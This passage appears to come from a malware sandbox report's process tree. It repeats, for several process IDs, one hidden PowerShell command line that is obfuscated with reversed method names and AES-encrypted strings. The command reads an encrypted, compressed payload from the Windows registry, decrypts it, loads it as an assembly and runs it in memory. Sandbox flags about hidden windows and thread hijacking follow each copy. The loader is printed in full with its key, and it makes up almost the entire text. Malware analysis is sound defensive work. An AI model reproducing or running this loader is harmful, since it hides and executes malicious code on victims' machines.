-join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:6108
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2100).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:5336
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2100).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:3352
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2100).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, 